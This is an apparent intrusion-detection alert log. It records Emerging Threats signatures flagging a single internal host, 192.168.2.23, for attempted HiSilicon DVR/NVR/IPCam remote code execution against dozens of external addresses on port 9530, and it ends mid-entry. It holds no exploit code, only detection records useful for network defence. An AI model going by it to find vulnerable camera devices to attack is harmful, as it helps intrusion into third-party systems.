ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.122.99.241

Timestamp:	05/16/24-16:38:55.175004
SID:	2030488
Source Port:	49714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.71.189.244

Timestamp:	05/16/24-16:39:05.704135
SID:	2030488
Source Port:	49280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.23.198.41

Timestamp:	05/16/24-16:39:16.614089
SID:	2030487
Source Port:	35126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.23.198.41

Timestamp:	05/16/24-16:39:16.614089
SID:	2030488
Source Port:	35126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.229.42.131

Timestamp:	05/16/24-16:39:02.746086
SID:	2030488
Source Port:	45148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.88.247.26

Timestamp:	05/16/24-16:39:03.275895
SID:	2030487
Source Port:	35784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.66.53.92

Timestamp:	05/16/24-16:39:08.146380
SID:	2030488
Source Port:	52472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.52.31.250

Timestamp:	05/16/24-16:39:05.700299
SID:	2030488
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.32.219

Timestamp:	05/16/24-16:39:02.763364
SID:	2030488
Source Port:	58728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.52.31.250

Timestamp:	05/16/24-16:39:05.700299
SID:	2030487
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.44.119.52

Timestamp:	05/16/24-16:39:12.400471
SID:	2030488
Source Port:	58594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.32.219

Timestamp:	05/16/24-16:39:02.763364
SID:	2030487
Source Port:	58728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.88.247.26

Timestamp:	05/16/24-16:39:03.275895
SID:	2030488
Source Port:	35784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.66.53.92

Timestamp:	05/16/24-16:39:08.146380
SID:	2030487
Source Port:	52472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.44.119.52

Timestamp:	05/16/24-16:39:12.400471
SID:	2030487
Source Port:	58594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.123.58.92

Timestamp:	05/16/24-16:38:53.071305
SID:	2030487
Source Port:	52536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.120.53.212

Timestamp:	05/16/24-16:38:57.408681
SID:	2030488
Source Port:	49850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.123.58.92

Timestamp:	05/16/24-16:38:53.071305
SID:	2030488
Source Port:	52536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.20.16.24

Timestamp:	05/16/24-16:39:14.531158
SID:	2030488
Source Port:	35634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.20.16.24

Timestamp:	05/16/24-16:39:14.531158
SID:	2030487
Source Port:	35634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.164.160.88

Timestamp:	05/16/24-16:39:12.402897
SID:	2030487
Source Port:	47482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.93.203.60

Timestamp:	05/16/24-16:39:16.581420
SID:	2030488
Source Port:	36928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.120.53.212

Timestamp:	05/16/24-16:38:57.408681
SID:	2030487
Source Port:	49850
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.49.177.104

Timestamp:	05/16/24-16:39:05.677733
SID:	2030488
Source Port:	33176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.164.160.88

Timestamp:	05/16/24-16:39:12.402897
SID:	2030488
Source Port:	47482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.223.179.43

Timestamp:	05/16/24-16:38:53.011420
SID:	2030488
Source Port:	53290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.49.177.104

Timestamp:	05/16/24-16:39:05.677733
SID:	2030487
Source Port:	33176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.223.179.43

Timestamp:	05/16/24-16:38:53.011420
SID:	2030487
Source Port:	53290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.93.203.60

Timestamp:	05/16/24-16:39:16.581420
SID:	2030487
Source Port:	36928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.213.189.139

Timestamp:	05/16/24-16:38:57.425694
SID:	2030487
Source Port:	39244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.250.182.244

Timestamp:	05/16/24-16:39:14.525670
SID:	2030487
Source Port:	34470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.58.125.196

Timestamp:	05/16/24-16:39:16.582500
SID:	2030487
Source Port:	55462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.213.189.139

Timestamp:	05/16/24-16:38:57.425694
SID:	2030488
Source Port:	39244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.58.125.196

Timestamp:	05/16/24-16:39:16.582500
SID:	2030488
Source Port:	55462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.250.182.244

Timestamp:	05/16/24-16:39:14.525670
SID:	2030488
Source Port:	34470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.82.8.198

Timestamp:	05/16/24-16:39:05.676840
SID:	2030487
Source Port:	57218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.82.8.198

Timestamp:	05/16/24-16:39:05.676840
SID:	2030488
Source Port:	57218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.1.173.10

Timestamp:	05/16/24-16:38:50.065072
SID:	2030488
Source Port:	47634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.37.85.105

Timestamp:	05/16/24-16:38:53.061024
SID:	2030488
Source Port:	39678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.37.85.105

Timestamp:	05/16/24-16:38:53.061024
SID:	2030487
Source Port:	39678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.147.98.153

Timestamp:	05/16/24-16:38:53.071291
SID:	2030488
Source Port:	47928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.147.98.153

Timestamp:	05/16/24-16:38:53.071291
SID:	2030487
Source Port:	47928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.207.51.1

Timestamp:	05/16/24-16:38:53.098248
SID:	2030488
Source Port:	54812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.207.51.1

Timestamp:	05/16/24-16:38:53.098248
SID:	2030487
Source Port:	54812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.247.250.203

Timestamp:	05/16/24-16:38:57.303959
SID:	2030488
Source Port:	60024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.196.186.73

Timestamp:	05/16/24-16:39:14.494717
SID:	2030487
Source Port:	40550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.63.194.54

Timestamp:	05/16/24-16:38:59.592898
SID:	2030488
Source Port:	34146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.247.250.203

Timestamp:	05/16/24-16:38:57.303959
SID:	2030487
Source Port:	60024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.63.194.54

Timestamp:	05/16/24-16:38:59.592898
SID:	2030487
Source Port:	34146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.54.251.53

Timestamp:	05/16/24-16:39:12.378488
SID:	2030487
Source Port:	34906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.54.251.53

Timestamp:	05/16/24-16:39:12.378488
SID:	2030488
Source Port:	34906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.196.186.73

Timestamp:	05/16/24-16:39:14.494717
SID:	2030488
Source Port:	40550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.16.250.202

Timestamp:	05/16/24-16:39:05.676885
SID:	2030488
Source Port:	38494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.123.135.74

Timestamp:	05/16/24-16:39:16.614043
SID:	2030487
Source Port:	53492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.16.250.202

Timestamp:	05/16/24-16:39:05.676885
SID:	2030487
Source Port:	38494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.246.149.238

Timestamp:	05/16/24-16:38:59.557981
SID:	2030488
Source Port:	39232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.123.135.74

Timestamp:	05/16/24-16:39:16.614043
SID:	2030488
Source Port:	53492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.1.173.10

Timestamp:	05/16/24-16:38:50.065072
SID:	2030487
Source Port:	47634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.106.179.156

Timestamp:	05/16/24-16:38:57.429985
SID:	2030488
Source Port:	55170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.163.53.152

Timestamp:	05/16/24-16:38:59.583146
SID:	2030487
Source Port:	50058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.163.53.152

Timestamp:	05/16/24-16:38:59.583146
SID:	2030488
Source Port:	50058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.246.149.238

Timestamp:	05/16/24-16:38:59.557981
SID:	2030487
Source Port:	39232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.205.56.180

Timestamp:	05/16/24-16:38:55.231868
SID:	2030488
Source Port:	51618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.205.56.180

Timestamp:	05/16/24-16:38:55.231868
SID:	2030487
Source Port:	51618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.106.179.156

Timestamp:	05/16/24-16:38:57.429985
SID:	2030487
Source Port:	55170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.144.140.118

Timestamp:	05/16/24-16:38:57.407572
SID:	2030488
Source Port:	49254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.77.41.202

Timestamp:	05/16/24-16:39:05.704110
SID:	2030488
Source Port:	44058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.213.200.255

Timestamp:	05/16/24-16:39:08.127212
SID:	2030488
Source Port:	41304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.213.200.255

Timestamp:	05/16/24-16:39:08.127212
SID:	2030487
Source Port:	41304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.100.199.181

Timestamp:	05/16/24-16:39:05.678403
SID:	2030488
Source Port:	39000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.69.39.101

Timestamp:	05/16/24-16:39:14.530322
SID:	2030488
Source Port:	38124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.100.199.181

Timestamp:	05/16/24-16:39:05.678403
SID:	2030487
Source Port:	39000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.69.39.101

Timestamp:	05/16/24-16:39:14.530322
SID:	2030487
Source Port:	38124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.89.64.33

Timestamp:	05/16/24-16:39:02.763331
SID:	2030487
Source Port:	37380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.72.33.59

Timestamp:	05/16/24-16:39:16.578972
SID:	2030488
Source Port:	35826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.72.33.59

Timestamp:	05/16/24-16:39:16.578972
SID:	2030487
Source Port:	35826
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.163.204.4

Timestamp:	05/16/24-16:39:05.676829
SID:	2030487
Source Port:	51160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.163.204.4

Timestamp:	05/16/24-16:39:05.676829
SID:	2030488
Source Port:	51160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.89.64.33

Timestamp:	05/16/24-16:39:02.763331
SID:	2030488
Source Port:	37380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.62.30.172

Timestamp:	05/16/24-16:39:05.677868
SID:	2030488
Source Port:	57396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.62.30.172

Timestamp:	05/16/24-16:39:05.677868
SID:	2030487
Source Port:	57396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.39.101.36

Timestamp:	05/16/24-16:39:12.377495
SID:	2030487
Source Port:	51912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.39.101.36

Timestamp:	05/16/24-16:39:12.377495
SID:	2030488
Source Port:	51912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.210.89.120

Timestamp:	05/16/24-16:38:59.607510
SID:	2030487
Source Port:	57342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.210.89.120

Timestamp:	05/16/24-16:38:59.607510
SID:	2030488
Source Port:	57342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.154.73.96

Timestamp:	05/16/24-16:39:03.262213
SID:	2030488
Source Port:	45198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.154.73.96

Timestamp:	05/16/24-16:39:03.262213
SID:	2030487
Source Port:	45198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.63.30.194

Timestamp:	05/16/24-16:39:16.604723
SID:	2030487
Source Port:	40378
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.67.197.187

Timestamp:	05/16/24-16:38:55.177039
SID:	2030487
Source Port:	59132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.67.197.187

Timestamp:	05/16/24-16:38:55.177039
SID:	2030488
Source Port:	59132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.252.188.214

Timestamp:	05/16/24-16:39:08.092998
SID:	2030487
Source Port:	40046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.252.188.214

Timestamp:	05/16/24-16:39:08.092998
SID:	2030488
Source Port:	40046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.186.0.110

Timestamp:	05/16/24-16:38:55.226833
SID:	2030487
Source Port:	40908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.186.0.110

Timestamp:	05/16/24-16:38:55.226833
SID:	2030488
Source Port:	40908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.146.16.186

Timestamp:	05/16/24-16:39:14.513644
SID:	2030487
Source Port:	33336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.146.16.186

Timestamp:	05/16/24-16:39:14.513644
SID:	2030488
Source Port:	33336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.191.246.145

Timestamp:	05/16/24-16:39:02.749173
SID:	2030487
Source Port:	37306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.191.246.145

Timestamp:	05/16/24-16:39:02.749173
SID:	2030488
Source Port:	37306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.107.36.3

Timestamp:	05/16/24-16:39:03.275895
SID:	2030488
